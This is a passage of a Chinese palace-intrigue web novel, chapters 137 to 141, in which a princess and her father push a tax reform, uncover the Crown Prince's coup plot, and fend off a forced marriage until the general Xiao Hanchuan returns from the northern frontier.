姜肃双手抱拳,“大晟税制沿用百年,积弊甚多。田赋、丁税、杂役分立,征收繁琐,官吏易于从中渔利,百姓苦不堪言。”
“臣弟请求太子殿下准许,推行‘一条鞭法’,将各项税赋合并征收,简化流程,减轻民负。”
姜肃的话,掷地有声。
此言一出,满殿哗然。
新任户部尚书陈尔第一个跳出来反对:“荒唐!祖制岂能轻改?税制关乎国本,贸然变动恐致天下大乱!”
“陈尚书此言差矣。”姜肃早有准备,“税制当随世易时移。”
“前朝永昌年间也曾改革税制,将三十余种杂税合并为‘统税’,结果如何?国库岁入增加三成,百姓负担减轻四成。此事有史**录。”
他顿了顿,扫视群臣:“还是说,陈尚书担心‘一条鞭法’推行后,某些人不能再隐匿田产、逃避赋税,最终断了财路?”
在场的世家官员们脸色大变。
而太子姜诚的脸色阴得能滴下水了。
他当然知道“一条鞭法”对世家的打击有多大。他十分需要世家的支持,自然不会对姜肃的做法坐视不理。
“雍王此言过于偏激。”太子缓缓开口,“税制改革事关重大,需从长计议。如今北疆战事未平,国库空虚,实在不宜大动干戈。”
“正是战事未平,才需改革税制。”姜肃寸步不让。
“殿下可知,去年江南上报田亩数为八百万亩,而臣查到的实际田亩数是一千二百万亩。”
“这四百万亩隐匿的田地,每年**白银八十万两。八十万两,足够北疆十万大军一年的粮饷!”
他转身面向众臣:“诸位大人,北疆将士在前线浴血奋战,保家卫国。而有些人却在后方隐匿田产,****,致使军饷不足,将士饥寒。”
“我请问诸位,这是为人臣子该做的事吗?”
这话说得掷地有声,几个寒门出身的官员已经红了眼眶。
陈尔气急败坏:“雍王血口喷人!江南田亩皆有鱼鳞册为证,何来隐匿之说?”
“鱼鳞册?”姜肃冷笑,“陈尚书说的,是那份三十年前修订,至今未变的鱼鳞册吗?”
“三十年了,江南开垦了多少新田,淹没了多少旧田,陈尚书心里没数?”
他从袖中取出一本册子:“这是稚川商行耗时三年,实地勘测绘制的江南田亩图。上面清清楚楚标注了每一块田地的位置、大小、归属。”
“陈尚书要不要比对一下,看看鱼鳞册上‘消失’的那些田地,都去了哪里?”
陈尔彻底败下阵来,不敢接话。
太子见势不妙,连忙打圆场:“此事容后再议。今日朝会到此为止,退朝!”
“太子殿下!”姜肃提高声音,“税制改革刻不容缓!臣弟请殿下准许,在江南三府先行试点‘一条鞭法’。若有效,再推行全国;若无效,臣弟愿领罪!”
这是姜肃当着朝臣的面赤裸裸的将了太子一军。
若姜诚不准,就是不顾百姓疾苦;若准了,世家必然反弹。
而姜诚刚刚监国,世家支持固然重要,也不能一点民心都不顾。
姜诚咬咬牙:“准奏。但只限江南三府,且需户部派人监督。”
“臣弟领旨。”姜肃躬身,眼中闪过笑意。
退朝后,太子回到东宫,
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怒气冲冲摔了一地瓷器。
“姜肃!姜稚!他们这是要逼死我!”他双目赤红,“‘一条鞭法’…好狠的计策!”
幕僚小心翼翼道:“殿下息怒。”
“江南三府中,苏州、杭州都是我们的人,只有松江府是雍王的势力范围。我们可以在这两府做手脚,让‘一条鞭法’推行失败。”
“蠢货!”太子骂道,“你以为姜肃想不到吗?他既然敢提,就必然有后手。而且…”
他咬牙切齿道:“姜肃今日在朝堂上公开质疑鱼鳞册,这就是要跟世家撕破脸。他手里一定有确凿证据,否则不敢如此!”
“那怎么办?”
太子沉默良久,眼中闪过狠厉:“既然他们要逼我,那就别怪我心狠。传令下去,‘红莲计划’启动。告诉慕容玄,我要在半个月内,听到父皇驾崩的消息。”
“半个月?会不会太急?”幕僚心底有些慌。
“急?”太子冷笑,“再等下去,等萧寒川从北疆回来,等‘一条鞭法’推行开?到那时,我们就全完了!现在动手,咱们还有一线生机。”
姜诚望着皇宫的方向,眼中是志在必得的疯狂。
同一时间,雍王府。
张猛的妻子王氏战战兢兢地坐在花厅里。
她是个三十出头的妇人,容貌清秀,但眉眼间带着愁绪。
雍王妃林月瑶亲自接待她,温言细语地聊着家常。
王氏在雍王妃的温柔软语下,渐渐放松下来,但眼中仍有不安。
半个时辰后,姜稚走进花厅。
“张夫人。”她微微颔首。
王氏慌忙起身行礼:“民妇拜见公主。”
“夫人不必多礼。”姜稚在她对面坐下,开门见山,“今日请夫人来,是想问一件事。”
“尊夫近日可好?”
王氏脸色一变:“夫君…夫君一切安好,劳公主挂心。”
“是吗?”姜稚端起桌边的一盏茶,轻轻酌饮着,“可我听说,张副统领最近有些烦恼。东宫那边,给了他不小的压力吧?”
茶盏轻放在茶几上,碰撞出的响声却狠狠砸在了王氏的心上。
第137章 “兔死狗烹”现场教学
花厅内,听了姜稚的话,王氏手中的茶盏差点摔落:“公主何出此言?”
“张夫人,”姜稚放缓语气,“八年前,张副统领还是个校尉时,曾在我父亲麾下效力。”
“那时他作战勇猛,正直刚毅,我父亲很是赏识。后来他娶了您,我记得婚礼时,我母亲还送了一份厚礼。”
王氏眼眶微红:“是,民妇记得。王爷王妃的恩情,我们一直铭记在心。”
“既然铭记在心,为何如今却要助纣为虐?”姜稚直视她。
“太子私藏甲胄,密谋逼宫,这是诛九族的大罪。张副统领若卷入其中,不仅他自己性命难保,你和孩子们也会受到牵连。”
王氏浑身颤抖,连忙起身下跪:“公主…民妇不知…”
“你知道。”姜稚俯视着王氏,眼睛似乎能看透王氏的内心。
“你丈夫这些日子的反常,你不可能察觉不到。他夜不能寐,食不知味,时常独自叹气。这些,你应该都看在眼里。”
王氏终于崩溃,跪在地上泣不成声:“公主明鉴。”
“民妇劝过他,可是他不听呀!他说太子答应事成之后封他为一品大将军,赐爵位,荫子孙…他说我们这样的人家,要想出头,只能搏一把…”
“搏?”姜稚叹息,“张夫人,想必你也读过几本书。就算没读过,说书先生讲的故事应该也听过不少。”
“自古参与逼宫者,有几个有好下场?就算太子成功了,他会留下张副统领这个知道他秘密的人吗?”
“兔死狗烹,鸟尽弓藏,这可是千古不变的道理。”
姜稚起身,走到王氏面前后,将她轻轻扶起来:“回去告诉张统领,现在回头还来得及。只要他肯迷途知返,我以镇国公主的名义保证,你们全家平安,他的官职也不会变。”
王氏抬头,眼中燃起希望:“公主此言当真?”
“君无戏言。”姜稚握紧了王氏的手,让对方感受着自己的诚意。
“但为表张副统领的诚意,我也要他做一件事。”
“公主请讲,别说一件,就是十件也可以。”王氏迫不及待地接话道。
“那就是,将太子的所有计划,一五一十地告诉我。”
王氏闻言犹豫了。
姜稚也不急,递给她一块玉佩。
“三日后,子时,城南土地庙。他若想通了来见我,这块玉佩就权当我们约定的信物,若不来…那就各安天命,玉佩你随意处置即可。”
王氏握紧玉佩,重重点头:“民妇一定把话带到。”
送走王氏后,姜稚回到书房。
惊蛰已经等在那里。
“公主,江南急报。”她递上一封密信,“商行在苏州的分号遭人纵火,损失惨重。杭州的盐仓也被官府查封,说是涉嫌私刻盐引。”
姜稚展开信,快速浏览,冷笑:“这么快就动手了。看来‘一条鞭法’真的戳到他们痛处了。”
姜稚将信纸慢慢收起来,“让他们闹吧,闹得越大越好。”
“惊蛰,你传令给江南各分号,所有损失如实记录,但不要与官府冲突。”
“另外,以‘稚川先生’的名义发布告示,就说江南分号要重新整顿,这期间苏杭两地分号内,受到殃及和伤害的伙计全部给予三倍抚恤。”
“这…”惊蛰不解,“我们岂不是吃亏了?”
“吃小亏,赚大义。”姜稚微笑。
“百姓的眼睛是雪亮的。他们看到世家为了阻挠‘一条鞭法’,不惜纵火烧商铺、查封盐仓,断了伙计们的生计。而我们不计前嫌,出钱重建,抚恤伙计…”
“让你来评判,你觉得民心会向着谁?”
惊蛰恍然大悟:“公主英明。”
“还有,以我爹爹的名义给江南三府的知府写信。”
“告诉他们,朝廷推行‘一条鞭法’是为了减轻百姓负担,充盈国库。若有谁敢阳奉阴违、从中作梗,就是与朝廷为敌,与百姓为敌。”
说到这里,姜稚顿了顿,嘴角勾起一抹冷笑:“记得在每封信里都提一句——”
“镇北王不日将凯旋归京,他最恨的,就是贪官污吏,祸国殃民之辈。”
这是借势。
以萧寒川在北疆的威名,足以让那些地方官胆寒。
惊蛰领
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命离开后,姜稚走到院中。
四月的阳光带上了一点暖意,却无法驱散她心中笼罩的阴云。
“稚儿。”姜肃看到女儿满面愁容的站在园中,出声唤道。
姜稚回头,撑起一个笑容:“爹爹,您来了。”
“张猛那边有消息了。”姜肃走到女儿跟前,慈爱的看着她,“他答应见面,但要求你亲自去,而且,只能带一个人。”
姜稚眼睛一亮:“他肯见面就是好事。我会按照约定跟他见面。”
姜肃却有些担忧道,“但稚儿,这太危险了。还是让为父替你去吧。”
“不行。”姜稚摇头,“张猛要求见我,说明他想赌一把大的。若爹爹去,他会觉得我们诚意不足。”
她见父亲还要劝,补充道:“爹您放心,我会带上惊蛰。而且,山影卫会在外围布防,确保万无一失。”
姜肃知道女儿主意已定,只能叹气:“一定要小心。若见势不对,立即撤退,不可逞强。”
“女儿明白。”
父女二人又商议了一些朝中事务,直到夜幕降临。
送走父亲后,姜稚继续独自站在院中,望着满天星斗。
北疆的夜空,此刻也该是繁星点点吧。
大哥是否也在看星星?
他的伤好些了吗?
她从怀中取出那枚狼牙吊坠,握在手心。
八年了,这枚吊坠她从未离身。
“大哥,”她低声自语,“快些回来吧。稚儿,需要你。”
夜风吹过,席卷着姜稚的低语送向远方。
而在千里之外的北疆,萧寒川站在营帐外,同样望着南方的星空。
他肩上的伤口已经结痂,但心中的牵挂却日益沉重。
京城的消息不断传来,太子的动作越来越大,皇帝的病情越来越重…
他知道,自己必须尽快起程了。
“王爷。”陈凛走过来,“探子回报,匈奴残部已经退到漠北三百里外,短时间内不可能再组织**。我们可以撤军了。”
萧寒川沉默良久,缓缓点头:“传令下去,十日后拔营,班师回朝。”
“是!”
第138章 逼宫倒计时
四月初五。
晨雾未散,城南土地庙的飞檐上还挂着细密的露珠。
庙外风声猎猎,枯枝在月光下投下斑驳的影子。
这里的会面,比姜稚的预想要顺利得更多。
殿外传来三长两短的鸟鸣,这是惊蛰发出的信号。
姜稚抬眼,瞧见张猛高大的身影风风火火地进来,跨过门槛时还带起一阵尘土,在斜射的烛火中浮动如金粉。
这个四十岁的禁军副统领此刻卸了甲胄,只穿一件藏青色直裰,腰间束着半旧的牛皮带。
整个人显得沧桑而疲惫。
他见到姜稚时,单膝跪地,第一句话便是:“末将糊涂,险些酿成大错。”
姜稚扶他起身,没有过多寒暄,直接切入正题:“太子计划何时动手?”
“五月初五,端阳节宫宴。”张猛声音中透着慌张。
“那日申时三刻,百官会于麟德殿。按惯例,守卫会减三成。”
“太子已收买了御林军右卫指挥使,届时,将率三千东宫卫队以‘护驾’为名入宫。同时,太子手底下豢养的死士会伪装成乐师、杂役混入宫中,里应外合。”
五月初五,距离现在正好一个月。
姜稚心中计算着时间:“陛下那边…”
“太医署的李太医已被太子控制,会在端阳节前三日加重药量,确保陛下那日无法理事。”张猛声音发颤。
“太子还备了鸩酒,若那时陛下还清醒,不肯写传位诏书的话,他打算强行灌下,伪造成陛下急病驾崩。”
姜稚闭了闭眼,压下心头翻涌的怒意:“禁军中有多少人是太子的人?”
“韩统领掌控的一万人中,大约有三千已被渗透,都是中下层军官。”
“剩下的一万人里,至少有五千是**羽。”张猛从怀中取出一份名单,“这是末将这段时间暗中记下的,与东宫往来密切的将领名单。”
烛光下,名单上密密麻麻写满了名字,有些甚至让姜稚心惊——
其中竟有两位是几年前在黄河水患中立过功的将领。
“张副统领,”姜稚收好名单,“你继续在太子面前演戏,增加他对你的信任,获取更多细节。同时,暗中联络那些还在摇摆的将领,争取他们倒戈。”
她顿了顿:“端阳节宫宴当日,我要你演一出‘临阵倒戈’,送给太子一出计中计。”
张猛一愣:“公主的意思是…”
“太子既然让你负责控制宫门,那你就按计划行事。但届时我会给你信号,信号一出,你立即关闭宫门,将太子的东宫卫队拦在宫外。”姜稚眼中闪过锐光。
姜稚从袖中取出一枚特制的烟花:“以红色烟花为号。见到此信号,你便立刻行动。”
“末将领命!”
送走张猛后,姜稚走出土地庙。
四月的夜风带着凉意,惊蛰立即为她披上披风。
“公主,张猛可信吗?”惊蛰低声问。
“可信,但不可全信。”姜稚望向黑暗中的京城,“他今日投诚,一半是惧祸,一半是投机。所以我们既要利用他,也要防着他。”
姜肃也从阴影中走出,披着斗篷,面容沉稳:“为父会派人盯紧他。稚儿,接下来我们该怎么做?”
父女二人并肩而行,脚步声在夜色中显得格外清晰。
“‘一条鞭法’咱们要继续推行,逼世家跳脚。”
“至于朝堂上…爹爹要表现得对太子步步紧逼,让他觉得我们只在乎这个税制改革的推行,而对其他事情毫无防备。”
“而暗地里,我们要抓紧布置,让山影卫要盯死红莲教的动向,商行要确保端阳节前后京城粮草物资充足,还有…”
她停下脚步,看向姜肃:“我要进宫一趟,见皇祖父。”
......
四月初八,姜稚再次进宫。
皇帝的气色看起来比上次更差了,靠在榻上,连抬手都费力。
赵德全侍立一旁,眼中含泪。
“皇祖父。”姜稚跪在榻边,握住皇帝枯瘦的手。
皇帝勉强挤出一个笑容:“稚儿来了…朕听说,你父亲推行了‘一条鞭法’?这个改制很好,对大晟的未来很有利…”
“是。”姜稚
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点头,“孙儿也以为,税制改革势在必行。”
“好…好啊。”皇帝咳嗽几声,“朕年轻时也想改,但世家势大,动不得。你父亲有魄力,你也有见识,大晟的未来,就靠你们了。”
皇帝这话说得像交代后事。
姜稚心中一酸:“皇祖父定能长命百岁。”
皇帝摇头,示意赵德全退下。
寝宫内只剩祖孙二人。
“稚儿,朕的时间不多了。”皇帝的声音低如蚊蚋,“太医署的李太医…有问题。朕的药…越喝越难受…”
姜稚眼眶一红:“皇祖父既然知道,为何还要喝?”
“不喝,怎么引蛇出洞?”皇帝眼中闪过帝王最后的锐利,“朕倒要看看,那些逆子逆臣,能做到什么地步。”
原来皇帝什么都知道!
姜稚心中震动。
“皇祖父,孙儿有一事相求。”她跪直身子。
“你说。”
“端阳节宫宴,无论发生什么,请皇祖父务必留在寝宫,不要出席。”姜稚郑重道,“孙儿会安排可靠之人护驾,确保皇祖父安全。”
皇帝看着她,良久,缓缓点头:“好…朕听你的。但稚儿,你也要答应朕一件事。”
“皇祖父请讲。”
“无论如何…保住大晟江山。”皇帝握紧她的手,“必要时候,可以雷霆手段。朕,给你这个权力!”
他从枕下取出一方略小的私印。
“这是朕的私印,见印如见朕。”皇帝将印章放入姜稚手中。
“若端阳节那日,朕有不测,你便以此印调兵勤王。朝中重臣,他们都认得这方印。”
姜稚接过印章,只觉重如千钧。
离开寝宫时,赵德全送她到宫门,老泪纵横:“公主,这后面就全都拜托您了…”
“赵公公放心。”姜稚握住老太监的手,“您也要保重。”
回府的马车上,姜稚握着那方温润的私印,心中沉甸甸的。
皇帝将这么大的权力交给她,既是信任,也是重担。
她掀开帘子,望向夜色中的皇城,眼中闪过一抹冷光。
第139章 姜稚婚事风波起
四月初十,朝堂上再起波澜
这次发难的,是户部新任侍郎**——
陈氏一族虽非颍川谢氏、太原王氏那样的顶级世家,但以丝绸贸易起家,经营数百年,积累了惊人财富。
**本人年过四十,深得太子信任,是太子在朝中的新晋心腹。
这日早朝,**出列奏道:“臣闻镇国安宁公主年已十八,却迟迟不嫁,整日干预朝政,抛头露面。民间已有非议,说公主不守妇道,有违女子本分。”
“臣恳请太子殿下为公主择婿,早日完婚,以正视听!”
此言一出,满殿哗然。
姜肃脸色一沉:“陈侍郎,公主的婚事自有陛下做主,岂容你置喙?”
“雍王此言差矣。”**振振有词,“公主确实已到婚龄,这是不争的事实。”
“如今陛下病重,太子监国,为公主择婿也属于太子殿下的监国之责。且公主身为女子,本应以相夫教子为要,整日干预朝政,确有不妥。”
“正是!”几个依附太子的官员附和,“公主婚事,关乎皇室体统,不可轻忽!”
姜稚站在珠帘后,冷眼看着这场戏。
原来在这儿等着她呢。
用婚事来牵制她,让她从朝堂上退下去。
太子姜诚故作沉吟:“陈侍郎所言有理。只是,不知公主配于何人更妥帖?毕竟公主金枝玉叶。”
**立即接话:“臣有一侄,名唤陈文轩,年方二十二,去年科举二甲第七名,如今在翰林院供职。文轩品貌端正,尚未婚配,与公主正是良配。”
陈文轩?**的侄儿?
姜稚心中冷笑。
陈家这是想用联姻来攀附皇室,扩大势力。
真是打得一手好算盘。
“臣弟以为不妥。”姜肃立即反对,“公主身份尊贵,岂能下嫁臣子?按祖制,公主当配勋贵子弟或世家嫡子。”
“雍王此言差矣。”**早有准备。
“祖制亦有公主下嫁臣子之例。前朝永嘉公主便下嫁新科状元,传为佳话。且臣侄也是书香门第,科举出身,与公主正是才子配佳人。”
这话说得冠冕堂皇,实则包藏祸心。
若姜稚真嫁入陈家,就等于与江南豪族捆绑,日后行事必然束手束脚。
太子显然也想到了这一点,眼中闪过笑意:“陈侍郎言之有理。”
“这样吧,三日后宫中设宴,请陈文轩及京中适龄青年才俊入宫,由公主亲自相看。若有合意者,本宫便奏请父皇赐婚。”
这是逼迫姜稚非选夫婿不可。
姜稚在珠帘后淡淡出声,打断太子的话:“太子伯父好意,稚儿心领。但国事繁忙,北疆未平,稚儿无心婚事。”
“公主此言差矣。”**跪地叩首,“女子以婚嫁为本,相夫教子方为正道。公主虽尊贵,终究是女子,岂能因国事误了终身?”
几个老臣也纷纷跪地:“请公主以皇室体统为重!”
这是道德**。
用“女子本分”“皇室体统”来压她。
姜稚看着跪了一地的官员,又看向太子得意的眼神,心中明白,这是一场针对自己精心设计的局,要用她的婚事来分散她的精力。
姜稚知道,此时若是直接拒绝,只会让朝臣抓住这一点不停攻击她,说不定会连累父亲在朝堂的威望。
姜稚沉吟片刻,终于下定决心:
“既然诸位大人如此关心本宫婚事,那便依太子伯父所言,三日后宫中设宴。”
“只是稚儿有个条件。赴宴者,须通过三道考题。文、武、政,三者皆优者,方有资格参选。”
姜稚心下已经有了主意。
既然躲不过,那不妨将主动权掌握在自己手里。
太子一怔:“这…”
“怎么,太子伯父觉得不妥?”姜稚反问,“稚儿好歹是镇国公主,未来的夫婿若是个庸才,岂不是让天下人笑话?”
这话合情合理,太子无法反驳,只能点头:“就依公主所言。”
退朝后,姜肃与女儿并肩走出乾元殿。
“稚儿,你当真要选婿?”姜肃忧心忡忡。
“不过是缓兵之计。”姜稚低声道
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,“父亲放心,那三道考题,我会出的无人能过。”
她顿了顿,眼中闪过狡黠:“再说了,端阳节只剩不到一个月,这场选婿宴,注定办不成。”
姜肃恍然大悟:“你是要…”
“一个字,拖。”姜稚微笑,“拖到端阳节,一切自有分晓。”
父女二人相视一笑。
然而他们不知道的是,这场选婿宴的消息,正以八百里加急的速度,传向北疆。
四月十五,北疆,龙渊军大营。
萧寒川正在部署撤军事宜,陈凛拿着一封密信匆匆进来:“王爷,京城急报。”
萧寒川接过信,展开一看,脸色瞬间阴沉如铁。
“选婿宴?”他声音冷得像冰,“京中适龄青年才俊?”
陈凛感受到主帅身上散发的杀气,下意识后退半步:“是…据说是**和太子提议,公主已经答应了。”
“答应了?”萧寒川握紧信纸,不可置信地抬头。
那些京中纨绔,那些世家子弟,哪个配得上她?
萧寒川从未想过,有一天她会嫁给别人。
“王爷,”韩猛小心翼翼地问,“我们还按原计划三日后拔营吗?”
姜寒川沉默良久,忽然起身:“传令下去,明日一早,轻骑先行。我率三千龙渊铁骑,日夜兼程,先赶回京城。”
“明日?可是大军…”
“大军由韩统领亲率,按原计划回京。”萧寒川马上吩咐随从开始收拾行装,“我要先回去。”
他必须回去。必须在姜稚做出选择之前,赶到她身边。
他不能看着稚儿眼睁睁跳进一个火坑。
要想娶稚儿,要先过他这一关。
韩猛看着主帅匆忙切慌乱的背影,忽然明白了什么,嘴角勾起一抹笑意。
原来王爷对公主…
“还愣着干什么?”萧寒川回头,眼神锐利,“快去准备!”
“是!”
当夜,北疆大营灯火通明。
三千铁骑如黑色洪流,冲出大营,向南疾驰。
夜色中,萧寒川的目光坚定而急切。
第140章 想娶稚儿,先过我这关
选婿宴设在御花园。
京中适龄的世家子弟、青年才俊来了三十余人,个个锦衣华服,精心打扮。
姜稚坐在凉亭中,一身天水碧宫装,素雅清丽。
她今日准备了三场测试——文试、武试、政试。
文试的题目是:论“一条鞭法”之利弊。要求三千字以上,引经据典,言之有物。
武试的题目是:百步之外,三箭中靶心。要求连珠箭,箭箭十环。
政试的题目是:若你为官,遇灾年饥荒,当如何赈济?要求具体措施,预算方案。
这三道题一出,全场哗然。
文试还好,能来参选的多少读过些书。
武试就难了。
百步穿杨已是高手,还要连珠三箭皆中靶心?
政试更是刁钻,没有实际经验,根本答不出来。
凉亭外,**脸色难看:“公主,这题目是否太过苛刻?”
“苛刻?”姜稚微笑,“陈侍郎觉得,未来驸马若是个文不能治国、武不能安邦、政不能济民的庸才,配得上镇国安宁公主这个封号吗?”
**语塞。
太子坐在主位,眼中闪过阴鸷。
他没想到姜稚会来这一手,这三道题,分明是故意为难。
但话已出口,无法收回。只能硬着头皮进行。
果然,第一轮文试就刷掉了大半。
那些平日里吟风弄月的世家子弟,哪懂什么税制改革?
写得要么空洞无物,要么错误百出。
姜稚一份份看过去,嘴角始终挂着礼貌而疏离的微笑。
【就这水平还想娶我?连府中账房先生都不如。】
这心声传到隐在假山后的姜肃耳中,他差点笑出声。女儿这毒舌,真是随了他。
第二轮武试,剩下的十几人中,只有三人勉强过关。
这些人中好歹有几个将门之后,但最好的成绩也只是两箭中靶心,一箭偏了半寸。
第三轮政试,这三人更是抓耳挠腮。
他们哪懂什么赈灾?
最后交上来的答案,不是“开仓放粮”就是“祈求上天”,毫无新意。
姜稚看完最后一份答卷,轻轻放下。
“看来,今日无人通过考核。”她声音平静,“既然如此,选婿之事,就此作罢。”
“公主!”陈文轩突然站出来,“学生虽未全数通过,但文试得了乙等,武试也中了两箭。公主何不给学生一个机会?”
姜稚看向他。
这是个二十岁左右的青年,容貌确实端正,但眼神闪烁,透着算计。
“陈公子,”她缓缓道,“文试乙等,是因为你抄袭了《赋税论》中的段落。你是以为本宫看不出来?”
“武试中两箭,是因为你用的弓是特制的轻弓,箭也是特制的轻箭。”
“至于政试…”
她拿起陈文轩的答卷:“‘祈求龙王,降下甘霖’…这就是你的赈灾之策?若上天不降甘霖呢?难道就让百姓老老实实等着,然后饿死?”
陈文轩脸色涨红:“学生…学生…”
“不必说了。”姜稚起身,“今日宴会到此为止。诸位请回吧。”
她转身要走,**却突然跪地:“公主!太子殿下已经下旨让您择婿!公主如此刁难我们,岂非是想找借口逃避婚事,让皇室蒙羞?”
几个官员也跟着跪地:“请公主三思!”
姜稚心中冷笑,这**的脑袋转得倒是挺快,她停下脚步,正要开口驳斥几句,忽听园外传来急促的马蹄声,紧接着是侍卫的惊呼:
“镇北王到——!”
所有人齐齐转头。
只见御花园门口,一人一骑疾驰而入。
马上之人一身黑色劲装,风尘仆仆,肩头绷带渗着血迹,但身姿挺拔如松,眼神锐利如鹰。
正是萧寒川。
他勒住马,目光扫过满园的青年才俊,最后落在凉亭中的姜稚身上。
四目相对。
姜稚怔住了,心里纳闷。
【大哥怎么此时回来了?不是说还要半个月吗?
】
萧寒川翻身下马,大步走来。
所过之处,众人纷纷避让。
这位镇北王身上的杀气太重,那是真正从尸山血海中走出来的气势。
他走到凉亭前,双手略一抱拳:“公主,好久不见。”
声音沙哑,透着疲惫。
姜稚这才回过神:“大哥,您怎么…”
“北疆战事已定,我提前回京
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复命。”萧寒川起身,目光扫过那些青年才俊,“只是不知,今日宫中如此热闹,所为何事?”
**抢着回答:“回王爷,今日是为公主选婿…”
“选婿?”萧寒川打断他,眼神瞬间冰冷,“公主金枝玉叶,你们这些庸才,也配!”
这话说得毫不客气,那几个青年才俊脸色煞白,却不敢反驳。
萧寒川走到陈文轩面前,居高临下地看着他:“你,是**的侄儿?”
陈文轩腿一软:“是、是学生…”
“学生?”姜寒川冷笑,“听闻你文试抄袭,武试**,政试无能。就你这样的货色,也敢肖想公主?”
“王爷…王爷误会…”陈文轩冷汗直流。
萧寒川不再理他,转身看向姜稚,声音忽然柔和下来:“公主,臣一路疾驰,肩伤崩裂,可否请公主为臣重新包扎?”
这话问得突兀,但姜稚立即会意——
这是给她解围。
“自然。”姜稚点头,“惊蛰,拿药箱来。”
萧寒川就在凉亭中坐下,当着所有人的面,解开衣襟。
伤口狰狞,可见骨肉。
众人倒吸一口凉气。
这就是北疆战神,这就是八年来守护边疆的代价。
姜稚亲手为他清洗伤口,敷药,包扎。动作轻柔熟练。
阳光下,二人相对而坐,一个低头专注,一个凝视不语。
画面竟有种说不出的和谐。
**还想说什么,太子却拉住了他,轻轻摇头。
今日这局,已经无法逼迫姜稚做出选择了。
有镇北王萧寒川在,谁还敢让姜稚选婿?
包扎完毕,萧寒川起身,面向众人:“公主婚事,自有陛下做主。在陛下康复之前,任何人不得再提。违者…”
他按上腰间佩剑:“以扰乱朝纲论处!”
杀气凛然,满园寂静。
姜稚看着他的背影,心中忽然涌起一股暖流。
在她最需要的时候,他回来了。
【大哥…谢谢。】
这心声传到萧寒川耳中,他背对着她,嘴角微微勾起。
不用谢,稚儿。
有我在,谁也别想逼你做任何事。
任何人都不行!
第141章 娘亲也加入催婚行列
四月二十。
镇北王府书房内,萧寒川站在窗前,手中摩挲着一枚温润的狼牙吊坠。
这狼牙有两枚。
一枚在八年前他送给了姜稚,还有一枚就是他手中的这个。
昨日在宫中,姜稚为他包扎伤口时,他清楚地看见这吊坠被姜稚带在身上。
那枚狼牙周身已经泛着温润的光,一看就是被佩戴的人长期细心保养所致。
这个认知让萧寒川的心热乎乎的。
没想到,稚儿对自己所送的东西那么珍视。
“王爷,”叩门声传来,伴随着陈凛的声音在门外响起,“雍王府送来请帖,明日雍王妃设赏花宴,请您过府一叙。”
萧寒川接过烫金请帖,翻看了里面的内容:“雍王妃单独设宴?”
“是。说是为了答谢王爷那日在御花园为公主解围。”陈凛想到什么,突然顿了顿,“但据属下所知,明日宴会还邀请了京中几位适龄的世家公子。”
萧寒川握着请帖的手骤然收紧。
这不又是变相的相亲宴么?
【她终究还是要嫁人的。】
这个念头像一根针,猝不及防地扎进萧寒川的心里。
他闭了闭眼,试图压下那股莫名的烦躁。
“王爷若不想去,属下可以替您推了。”陈凛察言观色道。
“不。”萧寒川睁开眼,眼神恢复清明,“我去。”
他倒要看看,那些所谓的世家公子,哪个配得上他的稚儿。
同一时间,雍王府。
姜稚正在书房与姜肃商议“一条鞭法”在江南三府的推行细节。
窗外春光明媚,但姜稚的眉宇间却带着一丝倦意。
“爹爹,江南来的消息,陈家暗中联络苏州、杭州的豪绅,准备集体**。”
姜稚将一份密报推过去,“他们打算以‘税负过重、民不聊生’为由,煽动百姓**。”
姜肃冷笑:“又是老一套。八年前王家就用过这招。”
“但这次更棘手。”姜稚指着地图,“陈家控制了江南六成的丝绸贸易,若他们以**相威胁,不仅税收收不上来,连民生都会受影响。”
【这就是经济**。用百姓的生计来要挟朝廷,真是卑鄙。】
姜稚手指轻轻敲击着地图,心中满是不悦。
这心声传到姜肃耳中,他沉吟道:“稚儿可是想到什么应对的方法了?”
“咱们不妨来个双管齐下。”姜稚又递上一本厚厚的账册。
“稚川商行现在可以开始悄悄接手陈家的丝绸生意。这些年咱们暗中培养的织工、建立的工坊,都可以派上用场了。”
她翻开账册,指着其中几项:“还有,爹爹可记得,八年前我们查王家时,也查到了陈家走私生铁给匈奴的证据?”
姜肃眼睛一亮:“你是说…”
“时机已经到了!”姜稚眼中闪过锐光,“端阳节前,我们势必要先剪除太子的羽翼。”
“陈家既然跳得这么高,咱们就先拿他开刀!”
父女二人脸上闪过默契的笑意。
正说着,林月瑶端着茶点走了进来。
“你们父女俩,整日就知道谈国事。”林月瑶将茶点放在桌上,嗔怪道,“稚儿,明日母亲设了赏花宴,你可得好好打扮打扮。”
姜稚听了,一愣:“赏花宴?”
“是啊,请了几位世家公子。”林月瑶坐到女儿身边,柔声道,“你跟你爹怕我担心,虽然没对我说过朝堂的事,但娘亲也或多或少都听说过一些。”
“太子逼迫你成婚,无非是想通过掌控你的婚事,让你低头。既然如此,不如你自己主动往前进一步。”
“稚儿,你今年十八了,娘亲知道你有抱负,但有个好归宿,也会成为保护你的利器。”
姜稚沉默。
她知道母亲是为她好。
在这个时代,女子十八岁还未婚配,确实会遭人非议。更何况她还是公主,婚事关乎皇室体统。
“阿瑶,”姜肃开口,“稚儿的婚事,还是再等等吧。如今朝局不稳…”
“等?等到什么时候?”林月瑶难得强硬,
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“王爷,我知道你们在做大事。可稚儿是我的女儿,我不能看着她因为国事耽误终身!”
她握住姜稚的手,眼眶微红:“稚儿,娘亲不是要逼你。只是,娘亲跟你爹爹慢慢老了,看你自己孤孤单单的,总是不放心。”
“娘,”姜稚反握住母亲的手,“女儿不觉得孤单。我有爹爹,有娘亲,有惊蛰秋露,还有山影卫的兄弟们。”
“我有太多事要做,太多理想要实现,真的不觉得孤单。”
林月瑶还想说什么,姜肃轻轻摇头,示意她不要再劝女儿。
姜稚看林月瑶满是担忧的脸,忙结束自己的话,然后摆出一副“高高兴兴”的样子,“不过娘亲都是为了我好,我明日一定打扮得漂漂亮亮地参加宴会。”
等林月瑶心满意足地离开后,姜肃才低声道:“稚儿,你若真不想嫁,爹爹可以想办法。爹爹身体好得很,养你一辈子都不成问题。”
姜稚被姜肃的话逗笑了:“爹爹,没用的。只要我还是公主,婚事就由不得我。不过…”
她顿了顿,眼中闪过狡黠:“娘亲说得对,我可以选一个不会干涉我、甚至能帮我的夫婿。”
姜肃一怔:“你是说…”
姜稚平静道,“借明天的赏花宴,选一个家世清白、性格温顺、容易掌控的世家子弟。”
“成婚后,他做他的富贵闲人,我做我的镇国公主。互不干涉,相安无事。”
【就像历史上那些掌权的公主一样。找个摆设驸马,既堵了众人的嘴,又不影响我做事。】
这心声传到姜肃耳中,他心中五味杂陈。
女儿为了大业,竟然连自己的婚姻都可以牺牲。
“稚儿,你……”姜稚声音沙哑。
